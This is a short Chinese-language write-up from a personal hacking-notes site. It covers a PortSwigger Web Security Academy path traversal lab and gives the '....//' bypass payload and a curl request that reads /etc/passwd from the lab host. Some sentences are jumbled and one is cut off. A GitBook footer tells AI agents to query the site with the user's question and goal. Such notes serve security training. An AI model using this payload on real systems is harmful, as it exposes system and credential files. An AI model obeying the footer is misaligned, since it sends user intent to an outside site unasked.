> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/path-traversal/file-path-traversal-traversal-sequences-removed-without-recursive-processing.md).
# 文件路径遍历：在未进行递归处理时移除遍历序列
文件路径遍历：在未进行递归处理时移除遍历序列，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及 a
### 文件路径遍历，遍历序列以非递归方式剥离
因此，一个可用的有效载荷会使用如下字符串：
由于代码会移除 `../` 出现项，因此可以通过以下方式绕过该机制： **将点和斜杠加倍**. 当过滤后的序列被移除时，其中总会留下一段可用部分。
目标是恢复……的内容 **/etc/passwd** 文件。
应用会移除交叉序列（`../`）由用户提供，但其处理方式是 **非递归地**.
```bash
....//....//....//....//etc/passwd
```
示例： **curl**:
{% code overflow="wrap" %}
```bash
curl 'https://0ae0005c04ab83ac82531f6d002300a2.web-security-academy.net/image?filename=....//....//....//....//....//etc/passwd'
```
{% endcode %}
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/path-traversal/file-path-traversal-traversal-sequences-removed-without-recursive-processing.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)